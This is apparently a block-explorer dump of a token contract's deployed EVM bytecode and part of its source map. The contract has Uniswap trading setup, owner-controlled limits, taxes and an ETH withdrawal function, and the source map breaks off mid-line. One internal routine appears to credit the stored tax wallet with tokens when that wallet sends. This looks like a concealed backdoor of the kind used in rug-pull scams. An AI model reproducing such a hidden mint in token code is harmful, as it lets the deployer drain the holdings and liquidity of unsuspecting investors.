57600080fd5b506102616107d8565b60006103da3384846109db565b5060015b92915050565b60006103f26009600a61187c565b61040090633b9aca0061188b565b905090565b6000610412848484610b00565b610464843361045f85604051806060016040528060288152602001611a40602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d3f565b6109db565b5060019392505050565b6000546001600160a01b031633146104a15760405162461bcd60e51b8152600401610498906118aa565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105155760405162461bcd60e51b8152600401610498906118aa565b6105216009600a61187c565b61052f90633b9aca0061188b565b600f5561053e6009600a61187c565b61054c90633b9aca0061188b565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105866009600a61187c565b61059490633b9aca0061188b565b60405190815260200160405180910390a1565b60006103da338484610b00565b6000546001600160a01b031633146105de5760405162461bcd60e51b8152600401610498906118aa565b601454600160a01b900460ff16156106385760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610498565b6013546001600160a01b031663f305d719473061066a816001600160a01b031660009081526001602052604090205490565b60008061067f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070c91906118df565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610765573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610789919061190d565b506014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107cd5760405162461bcd60e51b8152600401610498906118aa565b6107d647610d79565b565b6000546001600160a01b031633146108025760405162461bcd60e51b8152600401610498906118aa565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084b90309061083d6009600a61187c565b61045f90633b9aca0061188b565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c2919061192f565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610924573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610948919061192f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610995573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b9919061192f565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610498565b6001600160a01b038216610a9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610498565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b645760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610498565b6001600160a01b038216610bc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610498565b60008111610c285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610498565b601454600160b01b900460ff161580610c4a5750601454600160a81b900460ff165b15610ce3576001600160a01b038316600090815260016020526040902054610c729082610dbb565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ca19082610e04565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611a6883398151915290610af39085815260200190565b600080546001600160a01b03858116911614801590610d1057506000546001600160a01b03848116911614155b15610d2d57610d20848484610e63565b9050610d2d84848461111b565b610d39848484846111f5565b50505050565b60008184841115610d635760405162461bcd60e51b81526004016104989190611652565b506000610d70848661194c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610db7573d6000803e3d6000fd5b5050565b6000610dfd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d3f565b9392505050565b600080610e118385611963565b905083811015610dfd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610498565b600080610e926064610e8c600b54600e5411610e8157600754610e85565b6009545b8690611315565b90611394565b9050610e9e85846113d6565b8015610eac575060065460ff165b15610f8b576013546001600160a01b03858116911614801590610edd57506014546001600160a01b03858116911614155b15610f8b57326000908152600560205260409020544311610f785760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610498565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610fb657506013546001600160a01b03858116911614155b8015610fdb57506001600160a01b03841660009081526003602052604090205460ff16155b156110c357600f548311156110325760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610498565b60105483611055866001600160a01b031660009081526001602052604090205490565b61105f9190611963565b11156110ad5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610498565b600e80549060006110bd8361197b565b91905055505b6014546001600160a01b0385811691161480156110e957506001600160a01b0385163014155b1561111357610d706064610e8c600c54600e541161110957600854610e85565b600a548690611315565b949350505050565b30600090815260016020526040902054601454600160a81b900460ff1615801561115257506014546001600160a01b038481169116145b80156111675750601454600160b01b900460ff165b80156111765750600d54600e54115b801561119b57506001600160a01b03841660009081526003602052604090205460ff16155b80156111c057506001600160a01b03831660009081526003602052604090205460ff16155b15610d39576011548111156111ec576111ec6111e7836111e284601254611401565b611401565b611416565b610d3947610d79565b801561125d57306000908152600160205260409020546112159082610e04565b30600081815260016020526040908190209290925590516001600160a01b03861690600080516020611a68833981519152906112549085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546112809083610dbb565b6001600160a01b0385166000908152600160205260409020556112c56112a68383610dbb565b6001600160a01b03851660009081526001602052604090205490610e04565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611a688339815191526112fd8585610dbb565b6040519081526020015b60405180910390a350505050565b600082611324575060006103de565b6000611330838561188b565b90508261133d8583611996565b14610dfd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610498565b6000610dfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611590565b6006546000906001600160a01b038085166101009092041614156103da576103da30846000856115be565b60008183116114105782610dfd565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061145e5761145e6119b8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114db919061192f565b816001815181106114ee576114ee6119b8565b6001600160a01b03928316602091820292909201015260135461151491309116846109db565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154d9085906000908690309042906004016119ce565b600060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b600081836115b15760405162461bcd60e51b81526004016104989190611652565b506000610d708486611996565b6001600160a01b0384166000908152600160205260409020546115e19083610dbb565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546116109082610e04565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611a68833981519152906113079085815260200190565b600060208083528351808285015260005b8181101561167f57858101830151858201604001528201611663565b81811115611691576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116bc57600080fd5b50565b600080604083850312156116d257600080fd5b82356116dd816116a7565b946020939093013593505050565b60008060006060848603121561170057600080fd5b833561170b816116a7565b9250602084013561171b816116a7565b929592945050506040919091013590565b60006020828403121561173e57600080fd5b8135610dfd816116a7565b6000806040838503121561175c57600080fd5b8235611767816116a7565b91506020830135611777816116a7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117d35781600019048211156117b9576117b9611782565b808516156117c657918102915b93841c939080029061179d565b509250929050565b6000826117ea575060016103de565b816117f7575060006103de565b816001811461180d576002811461181757611833565b60019150506103de565b60ff84111561182857611828611782565b50506001821b6103de565b5060208310610133831016604e8410600b8410161715611856575081810a6103de565b6118608383611798565b806000190482111561187457611874611782565b029392505050565b6000610dfd60ff8416836117db565b60008160001904831182151516156118a5576118a5611782565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156118f457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561191f57600080fd5b81518015158114610dfd57600080fd5b60006020828403121561194157600080fd5b8151610dfd816116a7565b60008282101561195e5761195e611782565b500390565b6000821982111561197657611976611782565b500190565b600060001982141561198f5761198f611782565b5060010190565b6000826119b357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a1e5784516001600160a01b0316835293830193918301916001016119f9565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212202b490f33cbaa6338504b1f80a781bcb7c81eb869556dee0288afcec5f8a95c5a64736f6c634300080b0033

Deployed Bytecode Sourcemap

3864:10170:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6233:83;;;;;;;;;;-1:-1:-1;6303:5:0;;;;;;;;;;;;-1:-1:-1;;;6303:5:0;;;;6233:83;;;;;;;:::i;:::-;;;;;;;;7116:186;;;;;;;;;;-1:-1:-1;7116:186:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7116:186:0;1072:187:1;5081:55:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;5081:55:0;1264:177:1;6510:95:0;;;;;;;;;;;;;:::i;7310:446::-;;;;;;;;;;-1:-1:-1;7310:446:0;;;;;:::i;:::-;;:::i;6419:83::-;;;;;;;;;;-1:-1:-1;6419:83:0;;4704:1;2049:36:1;;2037:2;2022:18;6419:83:0;1907:184:1;6613:119:0;;;;;;;;;;-1:-1:-1;6613:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6706:18:0;6679:7;6706:18;;;:9;:18;;;;;;;6613:119;2895:148;;;;;;;;;;;;;:::i;:::-;;13096:201;;;;;;;;;;;;;:::i;4890:56::-;;;;;;;;;;;;;;;;2681:79;;;;;;;;;;-1:-1:-1;2719:7:0;2746:6;2681:79;;-1:-1:-1;;;;;2746:6:0;;;2494:51:1;;2482:2;2467:18;2681:79:0;2348:203:1;4953:58:0;;;;;;;;;;;;;;;;6324:87;;;;;;;;;;-1:-1:-1;6396:7:0;;;;;;;;;;;;-1:-1:-1;;;6396:7:0;;;;6324:87;;6740:192;;;;;;;;;;-1:-1:-1;6740:192:0;;;;;:::i;:::-;;:::i;5018:56::-;;;;;;;;;;;;;;;;4244:40;;;;;;;;;;-1:-1:-1;4244:40:0;;;;;;;;13405:483;;;;;;;;;;;;;:::i;13937:94::-;;;;;;;;;;;;;:::i;6940:168::-;;;;;;;;;;-1:-1:-1;6940:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7073:18:0;;;7046:7;7073:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6940:168;5840:385;;;;;;;;;;;;;:::i;7116:186::-;7216:4;7233:39;308:10;7256:7;7265:6;7233:8;:39::i;:::-;-1:-1:-1;7290:4:0;7116:186;;;;;:::o;6510:95::-;6563:7;4760:15;4704:1;4760:2;:15;:::i;:::-;4747:28;;:10;:28;:::i;:::-;6583:14;;6510:95;:::o;7310:446::-;7442:4;7459:36;7469:6;7477:9;7488:6;7459:9;:36::i;:::-;7506:220;7529:6;308:10;7577:138;7633:6;7577:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7577:19:0;;;;;;:11;:19;;;;;;;;308:10;7577:33;;;;;;;;;;:37;:138::i;:::-;7506:8;:220::i;:::-;-1:-1:-1;7744:4:0;7310:446;;;;;:::o;2895:148::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;;;;;;;;;3002:1:::1;2986:6:::0;;2965:40:::1;::::0;-1:-1:-1;;;;;2986:6:0;;::::1;::::0;2965:40:::1;::::0;3002:1;;2965:40:::1;3033:1;3016:19:::0;;-1:-1:-1;;;;;;3016:19:0::1;::::0;;2895:148::o;13096:201::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;4760:15:::1;4704:1;4760:2;:15;:::i;:::-;4747:28;::::0;:10:::1;:28;:::i;:::-;13150:12;:22:::0;4760:15:::1;4704:1;4760:2;:15;:::i;:::-;4747:28;::::0;:10:::1;:28;:::i;:::-;13183:14;:24:::0;13218:20:::1;:28:::0;;-1:-1:-1;;13218:28:0::1;::::0;;13262:27:::1;4760:15;4704:1;-1:-1:-1::0;4760:15:0::1;:::i;:::-;4747:28;::::0;:10:::1;:28;:::i;:::-;13262:27;::::0;1410:25:1;;;1398:2;1383:18;13262:27:0::1;;;;;;;13096:201::o:0;6740:192::-;6843:4;6860:42;308:10;6884:9;6895:6;6860:9;:42::i;13405:483::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;13467:11:::1;::::0;-1:-1:-1;;;13467:11:0;::::1;;;13466:12;13458:48;;;::::0;-1:-1:-1;;;13458:48:0;;5200:2:1;13458:48:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;5278:25;5258:18;;;5251:53;5321:18;;13458:48:0::1;4998:347:1::0;13458:48:0::1;13517:15;::::0;-1:-1:-1;;;;;13517:15:0::1;:31;13556:21;13601:4;13621:24;13601:4:::0;-1:-1:-1;;;;;6706:18:0;6679:7;6706:18;;;:9;:18;;;;;;;6613:119;13621:24:::1;13660:1;13676::::0;13692:7:::1;2719::::0;2746:6;-1:-1:-1;;;;;2746:6:0;;2681:79;13692:7:::1;13517:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13517:223:0;;;-1:-1:-1;;;;;5709:15:1;;;13517:223:0::1;::::0;::::1;5691:34:1::0;5741:18;;;5734:34;;;;5784:18;;;5777:34;;;;5827:18;;;5820:34;5891:15;;;5870:19;;;5863:44;13714:15:0::1;5923:19:1::0;;;5916:35;5625:19;;13517:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13758:13:0::1;::::0;13789:15:::1;::::0;13751:71:::1;::::0;-1:-1:-1;;;13751:71:0;;-1:-1:-1;;;;;13789:15:0;;::::1;13751:71;::::0;::::1;6447:51:1::0;-1:-1:-1;;6514:18:1;;;6507:34;13758:13:0;::::1;::::0;-1:-1:-1;13751:29:0::1;::::0;6420:18:1;;13751:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13833:11:0::1;:18:::0;;-1:-1:-1;;;;13862:18:0;-1:-1:-1;;;13862:18:0;;;13405:483::o;13937:94::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;13988:35:::1;14001:21;13988:12;:35::i;:::-;13937:94::o:0;5840:385::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;5886:15:::1;:104:::0;;-1:-1:-1;;;;;;5886:104:0::1;5937:42;5886:104:::0;;::::1;::::0;;;6001:58:::1;::::0;6018:4:::1;::::0;4760:15:::1;4704:1;4760:2;:15;:::i;:::-;4747:28;::::0;:10:::1;:28;:::i;6001:58::-;6104:15;;;;;;;;;-1:-1:-1::0;;;;;6104:15:0::1;-1:-1:-1::0;;;;;6104:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6086:55:0::1;;6164:4;6184:15;;;;;;;;;-1:-1:-1::0;;;;;6184:15:0::1;-1:-1:-1::0;;;;;6184:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6086:131;::::0;-1:-1:-1;;;;;;6086:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7320:15:1;;;6086:131:0::1;::::0;::::1;7302:34:1::0;7372:15;;7352:18;;;7345:43;7237:18;;6086:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6070:13;:147:::0;;-1:-1:-1;;;;;;6070:147:0::1;-1:-1:-1::0;;;;;6070:147:0;;;::::1;::::0;;;::::1;::::0;;5840:385::o;7764:335::-;-1:-1:-1;;;;;7857:19:0;;7849:68;;;;-1:-1:-1;;;7849:68:0;;7601:2:1;7849:68:0;;;7583:21:1;7640:2;7620:18;;;7613:30;7679:34;7659:18;;;7652:62;-1:-1:-1;;;7730:18:1;;;7723:34;7774:19;;7849:68:0;7399:400:1;7849:68:0;-1:-1:-1;;;;;7936:21:0;;7928:68;;;;-1:-1:-1;;;7928:68:0;;8006:2:1;7928:68:0;;;7988:21:1;8045:2;8025:18;;;8018:30;8084:34;8064:18;;;8057:62;-1:-1:-1;;;8135:18:1;;;8128:32;8177:19;;7928:68:0;7804:398:1;7928:68:0;-1:-1:-1;;;;;8007:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8059:32;;1410:25:1;;;8059:32:0;;1383:18:1;8059:32:0;;;;;;;;7764:335;;;:::o;9694:796::-;-1:-1:-1;;;;;9782:18:0;;9774:68;;;;-1:-1:-1;;;9774:68:0;;8409:2:1;9774:68:0;;;8391:21:1;8448:2;8428:18;;;8421:30;8487:34;8467:18;;;8460:62;-1:-1:-1;;;8538:18:1;;;8531:35;8583:19;;9774:68:0;8207:401:1;9774:68:0;-1:-1:-1;;;;;9861:16:0;;9853:64;;;;-1:-1:-1;;;9853:64:0;;8815:2:1;9853:64:0;;;8797:21:1;8854:2;8834:18;;;8827:30;8893:34;8873:18;;;8866:62;-1:-1:-1;;;8944:18:1;;;8937:33;8987:19;;9853:64:0;8613:399:1;9853:64:0;9945:1;9936:6;:10;9928:64;;;;-1:-1:-1;;;9928:64:0;;9219:2:1;9928:64:0;;;9201:21:1;9258:2;9238:18;;;9231:30;9297:34;9277:18;;;9270:62;-1:-1:-1;;;9348:18:1;;;9341:39;9397:19;;9928:64:0;9017:405:1;9928:64:0;10010:11;;-1:-1:-1;;;10010:11:0;;;;10009:12;;:22;;-1:-1:-1;10025:6:0;;-1:-1:-1;;;10025:6:0;;;;10009:22;10005:223;;;-1:-1:-1;;;;;10066:15:0;;;;;;:9;:15;;;;;;:27;;10086:6;10066:19;:27::i;:::-;-1:-1:-1;;;;;10048:15:0;;;;;;;:9;:15;;;;;;:45;;;;10124:13;;;;;;;:25;;10142:6;10124:17;:25::i;:::-;-1:-1:-1;;;;;10108:13:0;;;;;;;:9;:13;;;;;;;:41;;;;10169:26;;;;;;-1:-1:-1;;;;;;;;;;;10169:26:0;;;10188:6;1410:25:1;;1398:2;1383:18;;1264:177;10005:223:0;10240:17;2746:6;;-1:-1:-1;;;;;10276:15:0;;;2746:6;;10276:15;;;;:32;;-1:-1:-1;2719:7:0;2746:6;-1:-1:-1;;;;;10295:13:0;;;2746:6;;10295:13;;10276:32;10272:155;;;10337:30;10350:4;10356:2;10360:6;10337:12;:30::i;:::-;10325:42;;10383:32;10398:4;10404:2;10408:6;10383:14;:32::i;:::-;10439:43;10454:4;10460:2;10464:6;10472:9;10439:14;:43::i;:::-;9763:727;9694:796;;;:::o;1483:224::-;1603:7;1639:12;1631:6;;;;1623:29;;;;-1:-1:-1;;;1623:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1663:9:0;1675:5;1679:1;1675;:5;:::i;:::-;1663:17;1483:224;-1:-1:-1;;;;;1483:224:0:o;13305:92::-;13362:10;;:27;;:10;;;;-1:-1:-1;;;;;13362:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;13305:92;:::o;1339:136::-;1397:7;1424:43;1428:1;1431;1424:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1417:50;1339:136;-1:-1:-1;;;1339:136:0:o;1152:179::-;1210:7;;1242:5;1246:1;1242;:5;:::i;:::-;1230:17;;1271:1;1266;:6;;1258:46;;;;-1:-1:-1;;;1258:46:0;;9892:2:1;1258:46:0;;;9874:21:1;9931:2;9911:18;;;9904:30;9970:29;9950:18;;;9943:57;10017:18;;1258:46:0;9690:351:1;8107:1579:0;8187:7;8208:17;8228:184;8408:3;8228:161;8284:15;;8272:9;;:27;8271:103;;8360:14;;8271:103;;;8324:12;;8271:103;8228:6;;:24;:161::i;:::-;:179;;:184::i;:::-;8208:204;;8429:27;8443:4;8449:6;8429:13;:27::i;:::-;:51;;;;-1:-1:-1;8460:20:0;;;;8429:51;8425:509;;;8533:15;;-1:-1:-1;;;;;8519:30:0;;;8533:15;;8519:30;;;;:79;;-1:-1:-1;8584:13:0;;-1:-1:-1;;;;;8570:28:0;;;8584:13;;8570:28;;8519:79;8497:426;;;8692:9;8663:39;;;;:28;:39;;;;;;8705:12;-1:-1:-1;8633:201:0;;;;-1:-1:-1;;;8633:201:0;;10248:2:1;8633:201:0;;;10230:21:1;10287:2;10267:18;;;10260:30;10326:34;10306:18;;;10299:62;10397:34;10377:18;;;10370:62;-1:-1:-1;;;10448:19:1;;;10441:40;10498:19;;8633:201:0;10046:477:1;8633:201:0;8882:9;8853:39;;;;:28;:39;;;;;8895:12;8853:54;;8497:426;8972:13;;-1:-1:-1;;;;;8964:21:0;;;8972:13;;8964:21;:68;;;;-1:-1:-1;9016:15:0;;-1:-1:-1;;;;;9002:30:0;;;9016:15;;9002:30;;8964:68;:108;;;;-1:-1:-1;;;;;;9050:22:0;;;;;;:18;:22;;;;;;;;9049:23;8964:108;8946:394;;;9117:12;;9107:6;:22;;9099:60;;;;-1:-1:-1;;;9099:60:0;;10730:2:1;9099:60:0;;;10712:21:1;10769:2;10749:18;;;10742:30;10808:27;10788:18;;;10781:55;10853:18;;9099:60:0;10528:349:1;9099:60:0;9226:14;;9216:6;9200:13;9210:2;-1:-1:-1;;;;;6706:18:0;6679:7;6706:18;;;:9;:18;;;;;;;6613:119;9200:13;:22;;;;:::i;:::-;:40;;9174:128;;;;-1:-1:-1;;;9174:128:0;;11084:2:1;9174:128:0;;;11066:21:1;11123:2;11103:18;;;11096:30;11162:28;11142:18;;;11135:56;11208:18;;9174:128:0;10882:350:1;9174:128:0;9317:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8946:394;9362:13;;-1:-1:-1;;;;;9356:19:0;;;9362:13;;9356:19;:44;;;;-1:-1:-1;;;;;;9379:21:0;;9395:4;9379:21;;9356:44;9352:300;;;9429:211;9636:3;9429:184;9493:16;;9481:9;;:28;9480:114;;9579:15;;9480:114;;;9538:13;;9429:6;;:28;:184::i;9352:300::-;9669:9;8107:1579;-1:-1:-1;;;;8107:1579:0:o;11828:654::-;11963:4;11914:28;6706:18;;;:9;:18;;;;;;11999:6;;-1:-1:-1;;;11999:6:0;;;;11998:7;:43;;;;-1:-1:-1;12028:13:0;;-1:-1:-1;;;;;12022:19:0;;;12028:13;;12022:19;11998:43;:71;;;;-1:-1:-1;12058:11:0;;-1:-1:-1;;;12058:11:0;;;;11998:71;:118;;;;;12098:18;;12086:9;;:30;11998:118;:160;;;;-1:-1:-1;;;;;;12134:24:0;;;;;;:18;:24;;;;;;;;12133:25;11998:160;:200;;;;-1:-1:-1;;;;;;12176:22:0;;;;;;:18;:22;;;;;;;;12175:23;11998:200;11980:495;;;12251:17;;12228:20;:40;12225:189;;;12289:109;12328:51;12332:6;12340:38;12344:20;12366:11;;12340:3;:38::i;:::-;12328:3;:51::i;:::-;12289:16;:109::i;:::-;12428:35;12441:21;12428:12;:35::i;10498:608::-;10665:13;;10661:213;;10740:4;10722:24;;;;:9;:24;;;;;;:75;;10773:9;10722:28;:75::i;:::-;10713:4;10695:24;;;;:9;:24;;;;;;;:102;;;;10817:45;;-1:-1:-1;;;;;10817:45:0;;;-1:-1:-1;;;;;;;;;;;10817:45:0;;;10852:9;1410:25:1;;1398:2;1383:18;;1264:177;10817:45:0;;;;;;;;10661:213;-1:-1:-1;;;;;10907:20:0;;;;;;:9;:20;;;;;;:37;;10932:11;10907:24;:37::i;:::-;-1:-1:-1;;;;;10884:20:0;;;;;;:9;:20;;;;;:60;10976:50;10999:26;:11;11015:9;10999:15;:26::i;:::-;-1:-1:-1;;;;;10976:18:0;;;;;;:9;:18;;;;;;;:22;:50::i;:::-;-1:-1:-1;;;;;10955:18:0;;;;;;;:9;:18;;;;;:71;;;;11042:56;;-1:-1:-1;;;;;;;;;;;11071:26:0;:11;11087:9;11071:15;:26::i;:::-;11042:56;;1410:25:1;;;1398:2;1383:18;11042:56:0;;;;;;;;10498:608;;;;:::o;1715:246::-;1773:7;1797:6;1793:47;;-1:-1:-1;1827:1:0;1820:8;;1793:47;1850:9;1862:5;1866:1;1862;:5;:::i;:::-;1850:17;-1:-1:-1;1895:1:0;1886:5;1890:1;1850:17;1886:5;:::i;:::-;:10;1878:56;;;;-1:-1:-1;;;1878:56:0;;11801:2:1;1878:56:0;;;11783:21:1;11840:2;11820:18;;;11813:30;11879:34;11859:18;;;11852:62;-1:-1:-1;;;11930:18:1;;;11923:31;11971:19;;1878:56:0;11599:397:1;1969:132:0;2027:7;2054:39;2058:1;2061;2054:39;;;;;;;;;;;;;;;;;:3;:39::i;11470:227::-;11578:10;;11541:4;;-1:-1:-1;;;;;11798:14:0;;;11578:10;;;;;11798:14;11558:110;;;11606:50;11631:4;11638:5;11645:1;11648:7;11606:16;:50::i;12490:107::-;12547:7;12579:1;12575;:5;12574:15;;12588:1;12574:15;;;-1:-1:-1;12584:1:0;12490:107;-1:-1:-1;12490:107:0:o;12605:483::-;5420:6;:13;;-1:-1:-1;;;;5420:13:0;-1:-1:-1;;;5420:13:0;;;12707:16:::1;::::0;;12721:1:::1;12707:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12707:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12707:16:0::1;12683:40;;12752:4;12734;12739:1;12734:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12734:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12778:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12778:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12734:7;;12778:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12768:4;12773:1;12768:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12768:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12843:15:::1;::::0;12811:62:::1;::::0;12828:4:::1;::::0;12843:15:::1;12861:11:::0;12811:8:::1;:62::i;:::-;12884:15;::::0;:196:::1;::::0;-1:-1:-1;;;12884:196:0;;-1:-1:-1;;;;;12884:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12965:11;;12884:15:::1;::::0;13007:4;;13034::::1;::::0;13054:15:::1;::::0;12884:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5456:6:0;:14;;-1:-1:-1;;;;5456:14:0;;;-1:-1:-1;;;;12605:483:0:o;2109:223::-;2229:7;2264:12;2257:5;2249:28;;;;-1:-1:-1;;;2249:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2288:9:0;2300:5;2304:1;2300;:5;:::i;11114:348::-;-1:-1:-1;;;;;11300:20:0;;;;;;:9;:20;;;;;;:36;;11325:10;11300:24;:36::i;:::-;-1:-1:-1;;;;;11277:20:0;;;;;;;:9;:20;;;;;;:59;;;;11368:18;;;;;;;:32;;11391:8;11368:22;:32::i;:::-;-1:-1:-1;;;;;11347:18:0;;;;;;;:9;:18;;;;;;;:53;;;;11416:38;;;;;;-1:-1: